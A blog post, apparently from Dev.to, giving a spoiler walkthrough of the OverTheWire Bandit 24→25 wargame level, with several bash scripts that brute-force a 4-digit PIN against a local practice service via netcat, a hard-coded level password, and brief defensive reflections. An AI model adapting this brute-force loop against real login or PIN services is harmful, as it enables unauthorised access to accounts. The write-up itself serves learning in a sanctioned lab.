Solving bandit level:24-25 (Spoiler)

Published: (February 4, 2026 at 04:03 PM EST)
5 min read
Source: Dev.to

Source: Dev.to

Post‑mortem – Bandit 24 → 25

Struggle time: 3–4 hours
Complexity: 7 / 10 – the logic was straightforward, but I wrestled with the right syntax.

1️⃣ The Hunt (Offense & Strategy) – 50 %

I knew a loop was required, but I wasn’t sure how to stop it.
The key was to look for a signal from the service that tells us when the correct PIN has been found.

  1. I first tried connecting manually with a wrong password.
  2. The server always returned the same “Wrong” message for an incorrect PIN, so I could use that as a sentinel.

That observation let me focus on the loop logic and the syntax of the commands.

Script

#!/usr/bin/env bash
echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
PASS="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"

# First (intentionally wrong) attempt – just to initialise $output
output="$(printf "%s 0000\n" "$PASS" | nc -q 0 "$HOST" "$PORT")"

# Iterate over every 4‑digit PIN (0000 … 9999)
seq -f "%04g" 0 9999 | while read -r pin; do
    # If the server stopped saying “Wrong”, we have the right PIN
    if [[ "$output" != *"Wrong"* ]]; then
        echo "The server response is: $output"
        exit 0
    else
        i=$((i + 1))                     # iteration counter
        output="$(printf "%s %s\n" "$PASS" "$pin" | nc -q 0 "$HOST" "$PORT")"

        # Print progress every 100 attempts
        if (( i % 100 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    fi
done

2️⃣ Architectural Reasoning – 30 %

Pin generation
Initially I stored the whole sequence (seq -f "%04g" 0 9999) in a variable, which meant the variable contained all possible pins. That made every attempt wrong.
The fix was to pipe the sequence into a while read loop, pulling one PIN at a time into the pin variable.

3️⃣ Defensive Thoughts – 20 %

If I were defending this service, I could introduce a small delay between the banner and the prompt for the PIN.
Because the script assumes it can send the password immediately after connecting, a delay would cause every attempt to be judged “Wrong” until the full banner is received, slowing down a brute‑force client.

Take‑away: timing can be a useful side‑channel leak.

Miscellaneous Notes & Experiments

  • Connecting from Bash

    nc localhost 30002
  • Prompting the user (not needed for the final script)

    read -rp "Press Enter to continue..."
  • Capturing the server’s response

    output="$(printf "%s %s\n" "$PASS" "$pin" | timeout 2 nc "$HOST" "$PORT")"
  • Generating the 4‑digit PIN list (fastest I found)

    seq -f "%04g" 0 9999
  • First (failed) attempt – why it didn’t work

    Pin="$(seq -f "%04g" 0 9999)"   # **Reference:** see the file `test.sh` for a complete example.

First Full Script

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"

# Generate the PINs and test each one
seq -f "%04g" 0 9999 | while read -r pin; do
    output="$(printf "$Passwd $pin\n" | timeout 2 nc "$HOST" "$PORT")"

    if [[ "$output" == *"Wrong"* ]]; then
        i=$((i+1))                     # count attempts

        # Print every 5th attempt
        if (( i % 5 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    else
        echo "The server response is: $output"
        exit 0
    fi
done

The script works, but it takes forever because a new TCP connection is opened for every PIN (nc + timeout).

Debugging the Connection Overhead

Debug Script #1 – limited range (0‑9)

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"

seq -f "%04g" 0 9 | while read -r pin; do
    if [[ "$output" == *"Wrong"* ]]; then
        i=$((i+1))

        output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"

        if (( i % 5 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    else
        echo "The server response is: $output"
        exit 0
    fi
done

Debug Script #2 – checking nc exit status

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"

seq -f "%04g" 0 9 | while read -r pin; do
    if [[ "$output" == *"Wrong"* ]]; then
        i=$((i+1))

        output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"
        rc=$?
        echo "rc=$rc"

        if (( i % 5 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    else
        echo "The server response is: $output"
        exit 0
    fi
done

These snippets confirmed that the repeated connection setup (nc + timeout) was the main slowdown.

Final Working Version (no timeout, persistent connection)

#!/usr/bin/env bash

echo "Let's get this password"
echo

HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"

# First try a known wrong PIN to initialise $output
output="$(printf "$Passwd 0000\n" | nc -q 0 "$HOST" "$PORT")"

seq -f "%04g" 0 9999 | while read -r pin; do
    if [[ "$output" != *"Wrong"* ]]; then
        echo "The server response is: $output"
        exit 0
    else
        i=$((i+1))

        output="$(printf "$Passwd $pin\n" | nc -q 0 "$HOST" "$PORT")"

        # Print every 100th attempt (adjust as you like)
        if (( i % 100 == 0 )); then
            echo "Tried $i pins. Current pin: $pin"
        fi
    fi
done
  • nc -q 0 tells netcat to close the connection immediately after EOF, avoiding the extra timeout delay.
  • The script now runs much faster while still printing progress every 100 attempts.

Personal Note

I tend to comment heavily while coding because my brain forgets the flow as soon as I look away. The extra comments may look messy, but they’re a lifesaver for me! 😄

Hope you enjoy the ride and find the script useful. Happy hacking!

Back to Blog

Related posts

Read more »